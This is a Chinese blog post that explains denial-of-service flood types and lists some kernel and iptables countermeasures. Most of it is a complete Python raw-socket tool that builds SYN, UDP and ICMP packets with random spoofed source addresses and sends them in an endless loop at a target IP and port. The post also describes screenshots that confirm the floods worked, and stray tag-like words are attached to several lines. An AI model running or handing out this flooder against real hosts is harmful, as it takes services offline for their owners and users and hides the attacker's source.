我一直不明白爲何拒絕服務,初學着喜歡拿來裝逼、媒體喜歡吹得神乎其神、公司招聘也喜歡拿來作標準,由於我以爲拒絕服務和社會工程學就是最名存實亡的兩樣東西。固然因爲本身不明確拒絕服務在代碼上是怎麼個實現過程,因此雖然如此認爲但難免底氣不足。趁着有時間來考究一番。html
Denial of Service,簡寫DoS,拒絕服務是英文名直接翻譯,指的是正經常使用戶沒法獲得服務的現像。廣義上包括經過緩衝區溢出等漏洞進行攻擊使服務掛掉、發送大量數據包占用完系統分配給服務的資源、發送大量數據包占用完全部系統資源三種狀況。通常的拒絕服務指後兩種,最經典的拒絕服務指最後一種。linux
因爲後兩種手段都是發送大量數據包結果都是拒絕服務因此大概不少人都視爲一類,但追究而言其結果仍是有很大差異的。編程
若是系統對服務可用的資源進行了限制,好比最多3000個鏈接(假設此時cpu百分之五十),攻擊時3000個鏈接用完新鏈接不能創建,可是此時cpu不會達到百分之百,若是是長鏈接那麼已鏈接上來的用戶仍可享受服務。windows
若是系統沒有對服務可用的資源進行限制,那麼經過dos就能夠不斷髮起鏈接,直至目標主機cpu達到百分之百,輕則系統自動重啓重則致使發熱嚴重引發短路。服務器
攻擊方法 | 攻擊原理 | 目標 | 是否須要真實源IP | DoS攻擊效果 | 防範方法 |
icmp flood | 經過發送icmp數據包讓主機迴應以佔用資源 | 主機 | 否。可是隻能防封ip不能增長服務端資源消耗 | 通常。攻擊機與目標機耗一樣的資源 | 禁ping(net.ipv4.icmp_echo_ignore_all=1) |
udp flood | 向端口發送大量udp數據包判斷是否監聽和迴應都耗資源 | udp端口 | 否。可是隻能防封ip不能增長服務端資源消耗 | 通常。攻擊機與目標機耗一樣的資源 | 禁返回端口不可達(type3/code3,iptables -I OUTPUT -p icmp --icmp-type destination-unreachable -j DROP) |
syn flood | 只發送syn不發送ack使目標機處於等待ack的資源佔用方式 | tcp端口 | 否。 | 優。因爲目標機要等待因此目標機會耗更多資源 | 縮短syn timeout(net.ipv4.tcp_synack_retries = 5)、使用syn cookie(net.ipv4.tcp_syncookies = 1) |
tcp flood | 攻擊攻與目標擊完成三次握手並保持鏈接以此佔用資源 | tcp端口 | 是。 | 通常。攻擊機與目標機耗一樣的資源 | 限制單個ip鏈接數(iptables -I INPUT -p tcp –dport 80 -m connlimit –connlimit-above 20 -j DROP) |
CC | 對某個頁面發送大量請求直致其沒法正常顯示 | http端口 | 是。 | 良。因爲目標機要生成頁面會耗更多資源 | 限制單個ip鏈接數(iptables -I INPUT -p tcp –dport 80 -m connlimit –connlimit-above 20 -j DROP) |
在上面中咱們看到即使是效果最好的syn flood也只能讓攻擊機比目標機消耗一些資源,單純地直接DoS頂多也只是殺敵一千自損八百,並且每每服務器性能要比攻擊機強直接DoS效果是不會很好的。cookie
攻擊方式 | 全稱 | 攻擊機 | 可用於的攻擊方法 | 可勝任攻擊目標 |
DoS | Denial-of-Service | 單臺攻擊機直接DoS | icmp/udp/syn/tcp/cc | IOT硬件 |
DDoS | Distributed Denial-of-Service | 多臺受控機一同進行DoS | icmp/udp/syn/tcp/cc | 小型網站 |
DRDoS | Distributed Reflection Denial-of-Service | 多臺第三方機進行反射DoS | icmp/udp/syn/tcp | 大型網站 |
程序使用Python3編寫,實現syn/udp/icmp flood(這三個須要本身設置原始套接字,tcp和cc本身像普通網絡編程寫一下便可),運行時本身修改目標ip和端口和dos類型;因爲構造原始數據包因此要使用管理員權限運行。網絡
windows上運行有問題,syn運行報「OSError: [WinError 10022] 提供了一個無效的參數」,udp和icmp沒攔截到數據包;但在在kali上運行都是沒問題的。dom
另外,若是對此程序進行如下三項改造:去掉不斷髮送數據包的while、將源ip固定爲本機ip並使用recvfrom函數接收返回數據包、對recvfrom到的數據包進行分析,那就成了一個相似nmap的系統掃描器。socket
import binascii import random import socket import struct class DosTool: # 此函數用於計算校驗和函數,tcp/udp/icmp都使用此函數計算 def calc_checksum(self, header): # 校驗和,初始置0 checksum = 0 # 遍歷頭部,步長爲2 for i in range(0, len(header), 2): # 獲取第一個字節值 tmp = header[i] # 第一字節左移8位,騰出低8位給第二個字節,二者相加,就至關於取了一個word tmp = (tmp << 8) + header[i + 1] # 取出的word累加 checksum += tmp # 通常都會溢出,將超過16字節的部份加到低位去 checksum = (checksum & 0xffff) + (checksum >> 16) # 有可能再次溢出,因此嘗試再次將超過16字節的部份加到低位去 # 理論上應該不會再次溢出,因此有些文章這裏用while感受不是必須的 checksum += (checksum >> 16) # 取反碼 checksum = ~checksum & 0xffff return checksum # 此函數用於生成tcp和udp的僞首部(僞首部參與校驗和計算,但icmp不須要僞首部) def gen_psd_header(self,source_addr,dest_addr,protocol,header_and_data_length): # 源ip地址,32位 psd_source_addr = socket.inet_aton(source_addr) # 目標ip地址,32位 psd_dest_addr = socket.inet_aton(dest_addr) # 填充用的,置0,8位 psd_mbz = 0 # 協議,8位 psd_ptcl = protocol # 傳輸層頭部(不包括此首部)加其上層數據的長度 psd_lenght = header_and_data_length # 生成僞首部 psd_header = struct.pack("!4s4sBBH", psd_source_addr, psd_dest_addr, psd_mbz, psd_ptcl, psd_lenght) # 返回僞首部 return psd_header # 此函數用於生成tcp頭 def gen_tcp_header(self,source_addr,dest_addr,source_port,dest_port): # tcp源端口,16位;在syn攻擊中設爲隨機端口 tcp_source_port = source_port # tcp目標端口,16位;在syn攻擊中設爲攻擊目標端口 tcp_dest_port = dest_port # 數據包序列號,32位;在syn攻擊中使用隨機生成 tcp_seq = random.randint(0x10000000,0xffffffff) # 要確認已收到的數據包的序列號,32位;因爲是syn包,因此ack爲0 tcp_ack = 0 # tcp頭部長度,4位;標準tcp頭部長度爲20個字節(20/4=5) tcp_header_lenght = (5 << 4 | 0) # 原本是長度4位、保留位6位、標誌位6位 # 但保留位通常不用都是0,因此這裏直接將保留中的4個0分入長度中,2個0分入標誌位中,保留位直接不用管 # tcp_reserved = 0 # 標誌位,6位;6個標誌位依次爲URG/ACK/PSH/RST/SYN/FIN,因此syn對應標誌位爲000010,即2 tcp_flag = 2 # 窗口大小,16位;不知道對抗syn的防火牆有沒有根據這個值作策略的,好比大量窗口大小同樣的認爲受到syn攻擊,大量不常窗口大小也認爲受到syn tcp_win_size = 0x2000 # tcp頭部校驗和,16位;開始時咱們置0,以使頭部校驗和一塊兒計算也不影響校驗和結果 tcp_header_checksum = 0 # 這個值暫時沒懂作什麼用,16位 tcp_urp = 0 # 首次組裝tcp頭部,開頭的!表示bigend模式,B/H/L分別表示將後邊對應位次的值格式化成無符號的1/2/4字節長度 tcp_header = struct.pack("!HHLLBBHHH",tcp_source_port,tcp_dest_port,tcp_seq,tcp_ack,tcp_header_lenght,tcp_flag,tcp_win_size,tcp_header_checksum,tcp_urp) # print(f"packet is {binascii.b2a_hex(tcp_header)}") # 生成僞首部 protocol = socket.IPPROTO_TCP # 注意傳給僞首部的長度是整個tcp報文(tcp頭部+數據)的長度,而不是tcp頭部的長度 # 只是因爲syn數據包不帶數據因此這裏才能夠寫成len(tcp_header) header_and_data_length = len(tcp_header) # 僞首部 psd_header = self.gen_psd_header(source_addr,dest_addr,protocol,header_and_data_length) # 組裝成用來計算校驗和的頭部,tcp數據應該不像udp數據那樣須要參與校驗和計算但也不是十分確定,固然syn自己是沒數據的要不要參與都沒影響 virtual_tcp_header = psd_header + tcp_header # 調用calc_checksum()計算校驗和 tcp_header_checksum = self.calc_checksum(virtual_tcp_header) # 計算獲得校檢和以後,再次組裝,獲得真正的tcp頭部 tcp_header = struct.pack("!HHLLBBHHH", tcp_source_port, tcp_dest_port, tcp_seq, tcp_ack, tcp_header_lenght, tcp_flag, tcp_win_size, tcp_header_checksum, tcp_urp) # print(f"tcp header is {binascii.b2a_hex(tcp_header)}") return tcp_header # 此函數用於生成udp頭 def gen_udp_header(self,source_addr,dest_addr,source_port,dest_port,udp_data): # udp源端口,16位;在dos攻擊中設爲隨機端口 udp_source_port = source_port # udp目標端口,16位;在dos攻擊中設爲攻擊目標端口 udp_dest_port = dest_port # udp數據包長度,包括udp頭和udp數據,16位 udp_lenght = 8 + len(udp_data) # udp頭部校驗和,16位 udp_header_checksum = 0 # 未加入校驗和的udp頭 udp_header_no_checksum = struct.pack("!HHHH", udp_source_port, udp_dest_port, udp_lenght, udp_header_checksum) # 生成僞首部 protocol = socket.IPPROTO_UDP psd_header = self.gen_psd_header(source_addr,dest_addr,protocol,udp_lenght) # 拼成虛擬頭部用以計算校驗和,udp攜帶的數據參與校驗和計算 virtual_udp_header = psd_header + udp_header_no_checksum + udp_data.encode() udp_header_checksum = self.calc_checksum(virtual_udp_header) # 生成真正的udp頭部 udp_header = struct.pack("!HHHH", udp_source_port, udp_dest_port, udp_lenght, udp_header_checksum) return udp_header # 此函數用於生成icmp頭 def gen_icmp_header(self): # icmp類型,ping固定爲8,8位 icmp_type = 8 # 8位 icmp_code = 0 # icmp頭部校驗和,16位 icmp_header_checksum = 0 # icmp沒有端口,須要使用某個值擔當起端口的標識做用,以區分收到的icmp包是對哪一個icmp進程的響應 # icmp識別號,16位; # 響應包中該值與請求包中同樣,linux設置爲進程pid,windows不一樣版本操做系統設爲不一樣固定值 # linux操做系統使用該值區分不一樣icmp進程 icmp_identifier = random.randint(1000,10000) # icmp請求序列號,16位 # 從0開始遞增(存疑),每發一個icmp包就加1;響應包中該值與請求包中同樣 # windows使用該值來區分不一樣icmp進程 icmp_seq_num = random.randint(1000,10000) # icmp攜帶數據,響應中會回顯一樣的數據 # 此數據長度正是icmp dos的關鍵,越長目標主機處理所用的資源就越多,攻擊效果就越明顯 icmp_data = "abcdefghijklmnopqrstuvwxyz" # 未加入校驗和的icmp頭 icmp_data_length = len(icmp_data) icmp_header_no_checksum = struct.pack(f"!BBHHH{icmp_data_length}s",icmp_type,icmp_code,icmp_header_checksum,icmp_identifier,icmp_seq_num,icmp_data.encode()) # 計算校驗和,icmp校驗和只須要icmp頭本身參與計算,不須要僞首部(沒有端口tcp/udp那樣的僞首部要也生成不了) icmp_header_checksum = self.calc_checksum(icmp_header_no_checksum) # 生成真正的icmp頭 icmp_header = struct.pack(f"!BBHHH{icmp_data_length}s",icmp_type,icmp_code,icmp_header_checksum,icmp_identifier,icmp_seq_num,icmp_data.encode()) return icmp_header # 此函數用於生成ip頭 def gen_ip_header(self,source_addr,dest_addr,transport_segment_size,transport_layer_protocol): # 版本號4位,長度4位,方便起見這裏放一塊兒賦值 ip_version_and_lenght = 0x45 # 服務類型,8位,置0 ip_tos = 0 # 整個ip數據包長度(ip頭長度+tcp報文長度),8位; # ip頭長度爲5*4=20字節,tcp_total_size指的是整個ip報文的長度而不單指tcp頭部的長度,只是syn數據包不帶數據,因此恰好ip報文的長度等於tcp頭部的長度 ip_total_lenght = 20 + transport_segment_size # 這個值當前暫時不懂有什麼做用 ip_identitication = 1 ip_flags_and_frag = 0x4000 # ttl,8位 ip_ttl = 128 # 上層協議,8位 ip_protocol = transport_layer_protocol # ip頭部校驗和,16位 ip_header_checksum = 0 # 源ip地址,32位 ip_source_addr = socket.inet_aton(source_addr) # 目標ip地址,32位 ip_dest_addr = socket.inet_aton(dest_addr) # 首次組裝ip頭部,開頭的!表示bigend模式,B/H/L分別表示將後邊對應位次的值格式化成無符號的1/2/4字節長度 ip_header = struct.pack("!BBHHHBBh4s4s", ip_version_and_lenght, ip_tos, ip_total_lenght, ip_identitication, ip_flags_and_frag, ip_ttl, ip_protocol, ip_header_checksum, ip_source_addr,ip_dest_addr) print(f"packet is {binascii.b2a_hex(ip_header)}") # 調用calc_checksum()計算ip頭部校驗和 ip_header_checksum = self.calc_checksum(ip_header) # 計算獲得校檢和以後,再次組裝,獲得真正的IP頭部 ip_header = struct.pack("!BBHHHBBH4s4s", ip_version_and_lenght, ip_tos, ip_total_lenght, ip_identitication, ip_flags_and_frag, ip_ttl, ip_protocol, ip_header_checksum,ip_source_addr, ip_dest_addr) print(f"ip header is {binascii.b2a_hex(ip_header)}") return ip_header # 此函數用於生成要發送的ip數據包 def gen_dos_ip_packet(self,transport_layer_protocol): # 源IP地址;syn攻擊,因此隨機生成 source_addr = f"{random.randint(0,240)}.{random.randint(0,240)}.{random.randint(0,240)}.{random.randint(0,240)}" # source_addr = "10.10.6.91" # 源端口;syn攻擊,因此隨機生成 source_port = random.randint(10000, 60000) # source_port = 12345 # 根據設定的dos類型,生成ip協議載荷 if transport_layer_protocol == socket.IPPROTO_TCP: tcp_header = self.gen_tcp_header(source_addr, dest_addr, source_port, dest_port) transport_segment = tcp_header elif transport_layer_protocol == socket.IPPROTO_UDP: # udp數據包攜帶的數據,數據越長目標主機接收數據包所用資源就越多,攻擊效果就越好 # 不過udp中這些數據都不返回而icmp中會原樣返回,因此就效果上應該是icmp攻擊比udp好一點 udp_data = "abcdefghijklmnopqrstuvwxyz" udp_header = self.gen_udp_header(source_addr,dest_addr,source_port,dest_port,udp_data) transport_segment = udp_header + udp_data.encode() elif transport_layer_protocol == socket.IPPROTO_ICMP: icmp_header = self.gen_icmp_header() transport_segment = icmp_header # 整個ip協議載荷的長度 transport_segment_size = len(transport_segment) # 調用gen_ip_header()獲取ip頭 ip_header = dos_tool_obj.gen_ip_header(source_addr, dest_addr, transport_segment_size, transport_layer_protocol) # 組合ip頭部和ip載荷,構成完整ip數據包 dos_ip_packet = ip_header + transport_segment return dos_ip_packet def exec_dos_attack(self,dest_addr,dest_port,dos_type): dos_type = dos_type.lower() if dos_type == 'syn': transport_layer_protocol = socket.IPPROTO_TCP elif dos_type == 'udp': transport_layer_protocol = socket.IPPROTO_UDP elif dos_type == 'icmp': transport_layer_protocol = socket.IPPROTO_ICMP # 構造socket dos_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, transport_layer_protocol) dos_socket.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # 不斷生成和發送數據包 while True: ip_packet = self.gen_dos_ip_packet(transport_layer_protocol) dos_socket.sendto(ip_packet, (dest_addr, dest_port)) print(f"packet send success") # 若是不是一直髮送,而是發送一個syn包後接收返回數據進行分析,那就是syn掃描 # 此時接收到的是ip層及以後各層的數據;如「450000285c3740004006bdce0a0a065b0a0a065c846c0016324322fe07ff0b165010402962080000」 # return_data = dos_socket.recvfrom(1024)[0] # print(f"receive return data: {binascii.b2a_hex(return_data)}") if __name__ == "__main__": # 實例化 dos_tool_obj = DosTool() # 目標ip地址;改爲本身要攻擊的ip地址 dest_addr = "10.10.6.91" # 目標端口;改爲本身要攻擊的目標端口 dest_port = 21 # dos類型,能夠是syn/udp/icmp dos_type = 'udp' dos_tool_obj.exec_dos_attack(dest_addr, dest_port, dos_type)
在下圖中能夠看到,和預期同樣:tcp
目標ip和端口收到大量來自不一樣源地址的syn包、目標ip主機上創建大量等待ack的鏈接、checksum是正確的
在下圖中能夠看到,和預期同樣:
目標ip和端口收到大量來自不一樣源地址的udp數據包、目標端口沒有udp監聽因此返回端口不可達ICMP(type3/code3)、checksum是正確的
在下圖中能夠看到,和預期同樣:
目標ip收到大量來自不一樣源地址的icmp(type8/code0)數據包、目標ip返回返回響應(tpye0/code0)、checksum是正確的
參考:
http://www.faqs.org/rfcs/rfc793.html